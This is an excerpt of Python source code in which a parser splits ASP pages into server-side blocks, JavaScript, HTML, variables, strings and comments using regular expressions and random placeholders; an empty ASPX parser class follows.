232 | if get in [ 'asp', 'js', 'html', 'strings' ] : rexp = re.compile(code_rexp[get], re.DOTALL|re.IGNORECASE)
233 | else : rexp = re.compile(code_rexp[get], re.IGNORECASE)
234 | if get == 'asp_vars' : parts = [ p for part in re.findall(rexp, part) for p in part.split(',') ]
235 | else : parts = [ part for part in re.findall(rexp, part) ]
236 | return list(set([ part.strip() for part in parts if part.strip() != '' ]))
237 |
238 | def getParts(self, code = None):
239 | if code == None : code = self.code
240 | place_holder = '====' + Strings().rndStr(40, Strings().an_chars) + '===='
241 | asp = self.Parts(code,'asp')
242 | for a in asp : code = code.replace(a, place_holder)
243 | js = self.arraySort([ j for p in self.Parts(code, 'js') for j in p.split(place_holder) if j.strip() != '' ])
244 | for j in js : code = code.replace(j, place_holder)
245 | html = self.arraySort([ h for h in code.split(place_holder) if h.strip() != '' ])
246 | vars = self.arraySort([ v for p in asp for v in self.Parts(p, 'asp_vars') ])
247 | strings= self.arraySort([ s for p in asp for s in self.Parts(p, 'strings') ])
248 | comments = self.arraySort([ c for p in asp for c in self.Parts(p, 'comments') ])
249 | return { 'asp':asp, 'js':js, 'html':html, 'vars':vars, 'strings':strings, 'comments':comments }
250 |
251 |
252 | class AspxParser :
253 | pass
254 |
255 |
--------------------------------------------------------------------------------